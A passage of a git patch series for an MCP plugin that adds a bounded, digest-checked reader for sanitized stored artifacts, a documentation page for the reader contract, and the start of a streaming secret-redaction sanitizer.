expectCode(() => store.verifyArtifact(refFor(swapped)), 'artifact_content_conflict'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_digest_mismatch'); + } finally { + removeRoot(root); + } +}); + test('truncated, oversized, swapped, and malformed stored state fails verification and restart', async () => { const root = makeStoreRoot(); try { From 210545ceb02392a94ce0c83c0db052d56499dc90 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 21:59:17 +0000 Subject: [PATCH 14/81] feat(v3): add digest-checked sanitized range primitive and reader contract Add a narrow serialized P08 store hook that no-follow opens a regular single-link sanitized artifact, re-validates sidecar, ref, identity, size, and digest, hashes the whole file in fixed chunks while retaining only the requested bounded range, and proves before/after stability. The model-facing reader accepts only an exact sanitized ArtifactRefV1, rejects raw before I/O, validates intrinsic integer offset/range options against the fixed range cap, and returns frozen detached JSON-safe metadata plus bounded base64 selected content. --- .../mcp/v3/artifact-reader.mjs | 156 ++++++++++++++++ .../mcp/v3/artifact-store.mjs | 168 +++++++++++++++++- 2 files changed, 319 insertions(+), 5 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs new file mode 100644 index 0000000..afcc1b3 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs @@ -0,0 +1,156 @@ +// Bounded sanitized artifact reader (ADR 0001 identifiers +// `bounded_evidence`, `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for R1-P10. It is the model-facing contract over the +// P08 store's serialized sanitized range-read hook: +// +// 1. Accept only an exact validated sanitized ArtifactRefV1. Raw refs +// are denied before any store I/O. +// 2. Validate bounded intrinsic integer offset/range options against +// fixed range and (later) wire caps. +// 3. In one serialized store operation, no-follow open the regular +// single-link artifact, re-validate sidecar/ref/identity/size/digest, +// hash the whole file in fixed chunks while retaining only the +// requested bounded range, and prove before/after stability. +// 4. Return frozen detached JSON-safe metadata plus the bounded +// selected window as base64. Never expose raw evidence, store roots, +// paths, OS errors, or a whole-file buffer. +// +// This module performs no sanitization and does not import P09 internals. +// It reads P08-published sanitized artifacts only. +// +// Out of scope: P09 sanitizer provenance, MCP registration, provider +// sinks, cleanup, supervisor/server wiring, ArtifactRef schema changes, +// and P11/P12. + +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, + ARTIFACT_STORE_SCHEMA_ID, + readStoredSanitizedRangeV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, +} from './grammar.mjs'; +import { assertAllowedKeys } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const ARTIFACT_READER_SCHEMA_ID = 'codex-co-engineer.artifact-reader.v1'; + +export const ARTIFACT_READER_MAX_RANGE_BYTES = ARTIFACT_STORE_RANGE_READ_MAX_BYTES; + +export const ARTIFACT_READER_OPTION_KEYS = capturedFreeze(['offset', 'max_bytes']); + +export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ + 'raw_artifact_denied', + 'invalid_type', + 'invalid_format', + 'out_of_range', + 'unknown_key', + 'missing_key', +]); + +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failReader(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function assertIntrinsicNonNegativeInteger(value, field, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + failReader('invalid_type', field, `${field} must be an intrinsic safe integer.`); + } + if (value < min || value > max) { + failReader('out_of_range', field, `${field} must be an integer in ${min}..${max}.`); + } + return value; +} + +function parseSanitizedRef(refInput) { + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + if (snapshot.artifact_class !== 'sanitized') { + failReader('raw_artifact_denied', 'artifact_ref.artifact_class', + 'The bounded reader accepts only sanitized ArtifactRefV1 values; raw evidence is owner-only and is not read.'); + } + return snapshot; +} + +export function parseSanitizedReaderOptionsV1(input, path = 'options') { + if (input === undefined) { + return capturedFreeze({ + offset: 0, + max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + } + assertPlainObject(input, 'invalid_type', path, 'Reader options'); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, ARTIFACT_READER_OPTION_KEYS, path); + let offset = 0; + if (hasOwn(input, 'offset')) { + offset = assertIntrinsicNonNegativeInteger( + optOwn(input, 'offset'), `${path}.offset`, 0, MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + ); + } + let maxBytes = ARTIFACT_READER_MAX_RANGE_BYTES; + if (hasOwn(input, 'max_bytes')) { + maxBytes = assertIntrinsicNonNegativeInteger( + optOwn(input, 'max_bytes'), `${path}.max_bytes`, 0, ARTIFACT_READER_MAX_RANGE_BYTES, + ); + } + return capturedFreeze({ offset, max_bytes: maxBytes }); +} + +function pageFromRange(range, options) { + return freezeData({ + schema: ARTIFACT_READER_SCHEMA_ID, + artifact_ref: range.artifact_ref, + namespace: 'sanitized', + byte_length: range.byte_length, + sha256: range.sha256, + ref_digest: artifactRefDigestV1(range.artifact_ref, 'artifact_ref').digest, + offset: range.offset, + max_bytes: options.max_bytes, + selected_byte_length: range.selected_byte_length, + selected_encoding: 'base64', + selected_content: range.selected_content, + }); +} + +function assertStoreHandle(store) { + assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); + if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { + failReader('invalid_type', 'store', 'The artifact store handle was not produced by the artifact store.'); + } + return store; +} + +export async function readSanitizedArtifactV1(store, refInput, options) { + assertStoreHandle(store); + const snapshot = parseSanitizedRef(refInput); + const parsedOptions = parseSanitizedReaderOptionsV1(options); + const range = await readStoredSanitizedRangeV1( + store, snapshot, parsedOptions.offset, parsedOptions.max_bytes, + ); + return pageFromRange(range, parsedOptions); +} + +capturedFreeze(parseSanitizedReaderOptionsV1); +capturedFreeze(readSanitizedArtifactV1); diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs index 140feb7..307a1b9 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -80,12 +80,22 @@ // operating-system error string. Errors carry stable codes from a closed // vocabulary plus fixed validator-style field labels. // +// A narrow additive serialized range-read hook (readStoredSanitizedRangeV1) +// exists so the P10 model-facing reader can, in one store operation, +// no-follow open a regular single-link sanitized artifact, re-validate +// sidecar/ref/identity/size/digest, hash the whole file in fixed chunks +// while retaining only the requested bounded range, and prove before/after +// stability. The hook never returns raw evidence, never buffers the whole +// artifact, never echoes roots/paths/OS errors, and does not change +// publish, verify, or audit. The model-facing contract, wire cap, and +// truncation metadata live in artifact-reader.mjs. +// // Out of scope and deliberately unclaimed: P09 sanitization/transformation, -// the P10 model-facing bounded reader, the P13 evidence bundle, cleanup and -// garbage collection of any kind, scheduler/provider/supervisor wiring, and -// protected references. A store left torn by a crash stays torn: reopening, -// publishing, verifying, or auditing it fails closed, and only an operator -// action outside this module may remove anything. +// MCP/provider/supervisor wiring of the reader, the P13 evidence bundle, +// cleanup and garbage collection of any kind, and protected references. A +// store left torn by a crash stays torn: reopening, publishing, verifying, +// auditing, or range-reading it fails closed, and only an operator action +// outside this module may remove anything. import { Buffer as NodeBuffer } from 'node:buffer'; import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; @@ -169,6 +179,9 @@ export const MAX_ARTIFACT_STORE_AUDIT_FILES = 1024; export const MAX_ARTIFACT_STORE_AUDIT_BYTES = 67_108_864; export const ARTIFACT_STORE_INGEST_CHUNK_BYTES = 131_072; export const ARTIFACT_STORE_MAX_DEPTH = ARTIFACT_PATH_MAX_SEGMENTS; +// Hard cap on selected bytes retained by the sanitized range-read hook. +// The P10 reader may apply a tighter wire/response cap on top. +export const ARTIFACT_STORE_RANGE_READ_MAX_BYTES = 8_192; // Private unpredictable same-directory temporaries. The name grammar is // reserved: no artifact path may look like a temporary, so verification can @@ -202,6 +215,7 @@ const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; const REFLECT_HAS = Reflect.has; +const REFLECT_APPLY = Reflect.apply; const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; const IS_PROXY = utilTypes.isProxy; const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; @@ -213,6 +227,8 @@ const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; const BUFFER_PROTOTYPE = Buffer.prototype; +const BUFFER_TO_STRING = BUFFER_PROTOTYPE.toString; +const UINT8ARRAY_SET = UINT8ARRAY_PROTOTYPE.set; const OBJECT_PROTOTYPE = Object.prototype; const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( Object.getPrototypeOf((async function* () {}).prototype), @@ -929,6 +945,133 @@ async function verifyLocation(rootPath, snapshot) { return locations; } +function assertIntrinsicNonNegativeInteger(value, field, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + failStore('invalid_type', field, + `${field} must be an intrinsic safe integer.`); + } + if (value < min || value > max) { + failStore('out_of_range', field, + `${field} must be an integer in ${min}..${max}.`); + } + return value; +} + +// Hash one published sanitized artifact in fixed chunks, retain only +// [offset, offset+maxBytes), and prove the file was a regular single-link +// entry whose identity, size, and digest were stable across the read. +// The selected window is copied into a buffer of at most maxBytes; the +// rest of the file is hashed and discarded. +async function readSanitizedRangePrepared(root, snapshot, offset, maxBytes) { + const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + const probe = await openStoredFile(locations.contentTarget); + if (probe !== null) { + await probe.close().catch(() => {}); + failStore('artifact_torn_publication', 'content', + 'Content exists without its sidecar; the publication is torn.'); + } + failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); + } + const storedSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(storedSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(storedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + if (storedSnapshot.artifact_class !== 'sanitized') { + failStore('raw_artifact_denied', 'artifact_ref.artifact_class', + 'Stored raw evidence is not returned by the sanitized range reader.'); + } + + const cap = maxByteLengthForClass(storedSnapshot.artifact_class); + const opened = await openPublishedContent(locations.contentTarget, cap); + if (opened === null) { + failStore('artifact_torn_publication', 'content', + 'A sidecar exists without content; the publication is torn.'); + } + try { + const before = await opened.handle.stat(); + assertRegularUnsharedFile(before, 'content'); + const size = Number(before.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size !== storedSnapshot.byte_length) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + if (offset > size) { + failStore('out_of_range', 'offset', + 'The requested range offset is past the end of the stored artifact.'); + } + const remaining = size - offset; + const take = maxBytes < remaining ? maxBytes : remaining; + const selected = BUFFER_ALLOC(take); + const hash = CREATE_HASH('sha256'); + let received = 0; + let filled = 0; + const chunk = BUFFER_ALLOC(ARTIFACT_STORE_INGEST_CHUNK_BYTES); + while (true) { + let read; + try { + read = await opened.handle.read(chunk, 0, chunk.byteLength, null); + } catch { + failStore('artifact_entry_unsafe', 'content', 'Stored artifact bytes could not be read safely.'); + } + if (read.bytesRead === 0) break; + received += read.bytesRead; + if (received > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content exceeds the ${cap}-byte class cap.`); + } + const view = chunk.subarray(0, read.bytesRead); + hash.update(view); + if (take > 0) { + const chunkStart = received - read.bytesRead; + const selEnd = offset + take; + const copyFrom = chunkStart > offset ? chunkStart : offset; + const chunkEnd = chunkStart + read.bytesRead; + const copyTo = chunkEnd < selEnd ? chunkEnd : selEnd; + if (copyTo > copyFrom) { + const src = copyFrom - chunkStart; + const dest = copyFrom - offset; + const len = copyTo - copyFrom; + UINT8ARRAY_SET.call(selected, view.subarray(src, src + len), dest); + filled += len; + } + } + } + if (received !== size || filled !== take) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + const digest = hash.digest('hex'); + if (!digestsMatch(digest, storedSnapshot.sha256)) { + failStore('artifact_digest_mismatch', 'content', + 'Stored content does not hash to the declared SHA-256 digest.'); + } + const after = await opened.handle.stat(); + if (!sameIdentity(before, after) + || Number(after.size) !== Number(before.size) + || Number(after.nlink) !== Number(before.nlink) + || Number(after.mode) !== Number(before.mode)) { + failStore('artifact_torn_publication', 'content', + 'The stored document changed while it was read.'); + } + const encoded = REFLECT_APPLY(BUFFER_TO_STRING, selected, ['base64']); + return freezeData({ + artifact_ref: storedSnapshot, + byte_length: received, + sha256: digest, + offset, + selected_byte_length: take, + selected_encoding: 'base64', + selected_content: encoded, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + // ---- Bounded enumeration for audit. -------------------------------------------- async function listDirectoryEntries(directory, field) { @@ -1460,6 +1603,20 @@ export async function verifyStoredArtifactsV1(store, refInputs) { return freezeData(verdicts); } +export async function readStoredSanitizedRangeV1(store, refInput, offset, maxBytes) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + if (snapshot.artifact_class !== 'sanitized') { + failStore('raw_artifact_denied', 'artifact_ref.artifact_class', + 'The bounded reader accepts only sanitized artifacts; raw evidence is owner-only.'); + } + const start = assertIntrinsicNonNegativeInteger(offset, 'offset', 0, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); + const window = assertIntrinsicNonNegativeInteger(maxBytes, 'max_bytes', 0, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES); + return handle.internalOperate((root) => readSanitizedRangePrepared(root, snapshot, start, window)); +} + export async function auditArtifactStoreV1(store) { const handle = assertStoreHandle(store); return handle.internalOperate(async (root) => { @@ -1503,4 +1660,5 @@ capturedFreeze(openArtifactStoreV1); capturedFreeze(publishArtifactV1); capturedFreeze(verifyStoredArtifactV1); capturedFreeze(verifyStoredArtifactsV1); +capturedFreeze(readStoredSanitizedRangeV1); capturedFreeze(auditArtifactStoreV1); From 832016f269141c5d9671f3dd8b60eac63ce0533f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:00:17 +0000 Subject: [PATCH 15/81] feat(v3): tell clipping from unknown upstream truncation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reader pages record whether the range or wire cap shortened the selected window, and they expose more/next_offset for deterministic paging through the sanitized artifact. Source size, redaction count, sanitizer version, completeness, and upstream truncation stay null until P09 provenance exists — never false and never invented as zero. The serialized page is forced under a fixed wire cap. Optional docs/r1-artifact-reader.md states the contract without claiming later slices. --- docs/r1-artifact-reader.md | 70 ++++++++++++++ .../mcp/v3/artifact-reader.mjs | 93 ++++++++++++++++++- 2 files changed, 158 insertions(+), 5 deletions(-) create mode 100644 docs/r1-artifact-reader.md diff --git a/docs/r1-artifact-reader.md b/docs/r1-artifact-reader.md new file mode 100644 index 0000000..eac86c6 --- /dev/null +++ b/docs/r1-artifact-reader.md @@ -0,0 +1,70 @@ +# Bounded sanitized artifact reader (P10) + +Additive v3 contract over the accepted P08 artifact store. The reader is +the model-facing way to fetch a **bounded range** of an already-published +**sanitized** `ArtifactRefV1`. It does not sanitize, does not read raw +evidence, and does not change publish/verify/audit. + +## Entry + +```js +readSanitizedArtifactV1(store, artifactRef, options?) +``` + +- `store` is a handle from `openArtifactStoreV1`. +- `artifactRef` is an exact ten-key sanitized `ArtifactRefV1`. Raw class is + denied before any artifact I/O. +- `options` is omitted, or a direct JSON object with only: + - `offset` — intrinsic safe integer in `0..262144` (default `0`) + - `max_bytes` — intrinsic safe integer in `0..8192` (default `8192`) + +Proxies, accessors, symbol keys, exotic prototypes, and unknown keys fail +closed with the same typed vocabulary as P07/P08. + +## Caps + +| Cap | Value | Role | +| --- | ---: | --- | +| Range | 8192 bytes | Maximum selected artifact bytes retained from the stream | +| Wire | 12288 bytes | Maximum `JSON.stringify` size of one reader page | +| Sanitized class | 262144 bytes | Stored artifact size (P07); the reader never returns this whole | + +The store hashes the **entire** artifact in 128 KiB chunks and copies only +the requested window into an 8192-byte-or-smaller buffer. A whole-file +buffer is never allocated. If the serialized page would exceed the wire +cap, the selected window is shortened until it fits. + +## Page + +Successful results are deep-frozen, detached, and JSON-safe. Selected +bytes are always `selected_encoding: "base64"` so a range that splits a +UTF-8 sequence stays well-formed JSON. + +Clipping vs truncation: + +- `reader_clipped` is `true` only when the reader/wire caps returned fewer + bytes than `min(max_bytes, remaining sanitized bytes)`. +- `more` / `next_offset` describe paging through the **sanitized** artifact. +- `upstream_truncated`, `complete`, `source_byte_length`, + `redaction_count`, and `sanitizer_version` are **unknown** until P09 + provenance exists. They are emitted as `null`, never as `false` or `0`. + +## Fail-closed I/O + +One serialized store operation: + +1. Reopen the private root without following links and structurally audit. +2. No-follow open the regular single-link content file and its sidecar. +3. Require the sidecar snapshot to equal the requested sanitized ref. +4. Hash every byte, retain only `[offset, offset+take)`, and re-stat. +5. Deny digest/length mismatches, same-size tampers, sidecars that + disagree with the ref, symlinks, hardlinks, FIFOs/devices, torn + publications, and mid-read identity changes. + +Errors are `RunContractV1Error` values with stable codes. They never echo +artifact bytes, the store root, a derived path, or an OS error string. + +## Non-goals + +P09 sanitization, ArtifactRef schema changes, MCP registration, provider +sinks, cleanup, supervisor/server wiring, and P11/P12 remain unclaimed. diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs index afcc1b3..f258642 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs @@ -8,7 +8,7 @@ // 1. Accept only an exact validated sanitized ArtifactRefV1. Raw refs // are denied before any store I/O. // 2. Validate bounded intrinsic integer offset/range options against -// fixed range and (later) wire caps. +// fixed range and wire/response caps. // 3. In one serialized store operation, no-follow open the regular // single-link artifact, re-validate sidecar/ref/identity/size/digest, // hash the whole file in fixed chunks while retaining only the @@ -16,6 +16,10 @@ // 4. Return frozen detached JSON-safe metadata plus the bounded // selected window as base64. Never expose raw evidence, store roots, // paths, OS errors, or a whole-file buffer. +// 5. Distinguish reader/wire clipping from upstream sanitizer +// truncation. Until P09 provenance exists, source size, redaction +// count, sanitizer version, and completeness are unknown — never +// false and never invented as zero. // // This module performs no sanitization and does not import P09 internals. // It reads P08-published sanitized artifacts only. @@ -24,6 +28,8 @@ // sinks, cleanup, supervisor/server wiring, ArtifactRef schema changes, // and P11/P12. +import { Buffer as NodeBuffer } from 'node:buffer'; + import { MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, artifactRefDigestV1, @@ -50,9 +56,33 @@ import { export const ARTIFACT_READER_SCHEMA_ID = 'codex-co-engineer.artifact-reader.v1'; export const ARTIFACT_READER_MAX_RANGE_BYTES = ARTIFACT_STORE_RANGE_READ_MAX_BYTES; +// Serialized JSON of one reader page, including selected content, must fit. +export const ARTIFACT_READER_MAX_WIRE_BYTES = 12_288; export const ARTIFACT_READER_OPTION_KEYS = capturedFreeze(['offset', 'max_bytes']); +export const ARTIFACT_READER_PAGE_KEYS = capturedFreeze([ + 'schema', + 'artifact_ref', + 'namespace', + 'byte_length', + 'sha256', + 'ref_digest', + 'offset', + 'max_bytes', + 'selected_byte_length', + 'selected_encoding', + 'selected_content', + 'reader_clipped', + 'more', + 'next_offset', + 'source_byte_length', + 'redaction_count', + 'sanitizer_version', + 'complete', + 'upstream_truncated', +]); + export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ 'raw_artifact_denied', 'invalid_type', @@ -64,6 +94,12 @@ export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; const STRING = String; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_TO_STRING = NodeBuffer.prototype.toString; +const JSON_STRINGIFY = JSON.stringify; +const MATH_CEIL = Math.ceil; +const REFLECT_APPLY = Reflect.apply; function diagnostic(message) { const text = STRING(message ?? ''); @@ -118,7 +154,24 @@ export function parseSanitizedReaderOptionsV1(input, path = 'options') { return capturedFreeze({ offset, max_bytes: maxBytes }); } -function pageFromRange(range, options) { +function encodeSelected(bytes) { + return REFLECT_APPLY(BUFFER_TO_STRING, bytes, ['base64']); +} + +function decodeSelected(encoded) { + return BUFFER_FROM(encoded, 'base64'); +} + +function requestedTake(range, options) { + const remaining = range.byte_length - range.offset; + return options.max_bytes < remaining ? options.max_bytes : remaining; +} + +function buildPage(range, options, selectedBytes) { + const selectedLength = selectedBytes.byteLength; + const end = range.offset + selectedLength; + const more = end < range.byte_length; + const clipped = selectedLength < requestedTake(range, options); return freezeData({ schema: ARTIFACT_READER_SCHEMA_ID, artifact_ref: range.artifact_ref, @@ -128,12 +181,42 @@ function pageFromRange(range, options) { ref_digest: artifactRefDigestV1(range.artifact_ref, 'artifact_ref').digest, offset: range.offset, max_bytes: options.max_bytes, - selected_byte_length: range.selected_byte_length, + selected_byte_length: selectedLength, selected_encoding: 'base64', - selected_content: range.selected_content, + selected_content: encodeSelected(selectedBytes), + reader_clipped: clipped === true, + more: more === true, + next_offset: more ? end : null, + source_byte_length: null, + redaction_count: null, + sanitizer_version: null, + complete: null, + upstream_truncated: null, }); } +function fitToWireCap(range, options) { + let selected = decodeSelected(range.selected_content); + if (selected.byteLength !== range.selected_byte_length) { + failReader('invalid_format', 'selected_content', + 'The range primitive returned a selected window whose encoding did not round-trip.'); + } + while (true) { + const page = buildPage(range, options, selected); + const wire = BUFFER_BYTE_LENGTH(JSON_STRINGIFY(page), 'utf8'); + if (wire <= ARTIFACT_READER_MAX_WIRE_BYTES) return page; + if (selected.byteLength === 0) { + failReader('out_of_range', 'options', + 'The reader response exceeds the wire cap even with no selected content.'); + } + const over = wire - ARTIFACT_READER_MAX_WIRE_BYTES; + let shrink = MATH_CEIL((over * 3) / 4); + if (shrink < 1) shrink = 1; + if (shrink > selected.byteLength) shrink = selected.byteLength; + selected = selected.subarray(0, selected.byteLength - shrink); + } +} + function assertStoreHandle(store) { assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { @@ -149,7 +232,7 @@ export async function readSanitizedArtifactV1(store, refInput, options) { const range = await readStoredSanitizedRangeV1( store, snapshot, parsedOptions.offset, parsedOptions.max_bytes, ); - return pageFromRange(range, parsedOptions); + return fitToWireCap(range, parsedOptions); } capturedFreeze(parseSanitizedReaderOptionsV1); From b16151952e6238f6236443e7c5122107ff4f7dda Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:04:31 +0000 Subject: [PATCH 16/81] feat(redaction): stream sanitized artifact content Add a fixed-version P09 sanitizer/writer that accepts only intrinsic byte views or a bounded async iterable of those views, incrementally UTF-8-decodes identity-encoded text, applies one built-in bounded redaction policy, and publishes raw plus sanitized artifacts through the accepted P08 public store APIs. Caps, declared digest/length, and class separation fail closed without clipping or reading stored raw bytes; provenance is frozen and content-free. --- .../mcp/v3/artifact-sanitizer.mjs | 575 ++++++++++++++++++ .../r1-artifact-sanitizer-fixtures.mjs | 259 ++++++++ .../test/r1-artifact-sanitizer.test.mjs | 326 ++++++++++ 3 files changed, 1160 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs new file mode 100644 index 0000000..7d24bd2 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -0,0 +1,575 @@ +// Streaming artifact sanitizer/writer (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, Gate A +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W5-P09. It is a fixed-version writer that accepts +// only a caller-bound intrinsic Buffer/Uint8Array view or a bounded async +// iterable of such views, incrementally UTF-8-decodes the source, applies +// one built-in bounded redaction policy, and publishes BOTH the raw source +// and the sanitized projection through the accepted P08 public store APIs. +// P08 has no raw reader: this module never opens artifact content, never +// walks the store tree, and never invents an unchecked derivation from a +// stored digest. The live caller-bound stream is the only source of bytes. +// +// Contract: +// - Source hardening matches P08: proxies (live or revoked), subclasses, +// SharedArrayBuffer-backed views, accessor-dressed iterables, strings, +// and arbitrary class instances (including Node streams) are denied +// before a byte is read. Every yielded chunk is re-proved intrinsic. +// - Only identity-encoded text media types are sanitized +// (text/plain, text/markdown, application/json, application/x-ndjson). +// application/octet-stream and base64 are refused. +// - The source ArtifactRefV1 must be class "raw". Declared length/digest +// are untrusted claims, hashed from the live stream, and must match +// before anything is published. +// - Incremental UTF-8 decode uses a streaming decoder so a multi-byte +// sequence that straddles ingest chunks is preserved; malformed input +// becomes U+FFFD deterministically. The raw artifact is never retained +// as a whole: ingest slices, a finite decoder carry, and a finite +// redaction overlap are the only live windows. +// - Redaction is a closed built-in policy (credential formats, bearer +// credentials, env assignments, URL credentials, bounded prompt +// removal). Callers cannot supply regex, code, or extra patterns. +// Secrets that straddle chunk boundaries are detected with a finite +// overlap; matches are never split across an emit boundary. +// - Raw 32 MiB and sanitized 256 KiB caps are fail-closed. Crossing +// either cap throws before P08 can commit; the writer never clips. +// - source_truncated is caller-declared provenance. This module does +// not infer truncation from size and does not clip toward the cap. +// - Publication uses only publishArtifactV1 / verifyStoredArtifactV1. +// A stream is safely teed: P08 consumes the inspected iterable while +// the sanitizer hashes, decodes, and redacts the same chunks. A +// buffer source is sanitized first, then both classes are published. +// Replay, conflict, digest, length, and class-separation guarantees +// are exactly P08's. +// - The return is detached deep-frozen content-free provenance: sanitizer +// version, source digest/length, sanitized ref/digest/length, bounded +// redaction counts, and completeness/truncation. Artifact bytes, the +// store root, and OS errors are never echoed. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_REF_SCHEMA_ID, + CONTENT_ENCODINGS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + publishArtifactV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const ARTIFACT_SANITIZER_SCHEMA_ID = 'codex-co-engineer.artifact-sanitizer.v1'; +export const ARTIFACT_SANITIZER_VERSION = 1; +export const ARTIFACT_SANITIZER_POLICY_ID = 'codex-co-engineer.artifact-redaction.v1'; + +export const SANITIZER_MEDIA_TYPES = capturedFreeze([ + 'application/json', + 'application/x-ndjson', + 'text/markdown', + 'text/plain', +]); + +export const SANITIZER_CONTENT_ENCODING = 'identity'; + +export const ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES = 65_536; +export const ARTIFACT_SANITIZER_OVERLAP_CHARS = 8_192; +export const ARTIFACT_SANITIZER_REPLACEMENT = '[REDACTED]'; + +export const REDACTION_KINDS = capturedFreeze([ + 'credential_formats', + 'bearer_credentials', + 'env_assignments', + 'url_credentials', + 'prompts', +]); + +export const ARTIFACT_SANITIZER_ERROR_CODES = capturedFreeze([ + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_stream_failed', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'invalid_type', + 'missing_key', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', + 'unknown_artifact_class', + 'unknown_key', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CREATE_HASH = createHash; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const TEXT_DECODER_CTOR = TextDecoder; +const STRING = String; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = 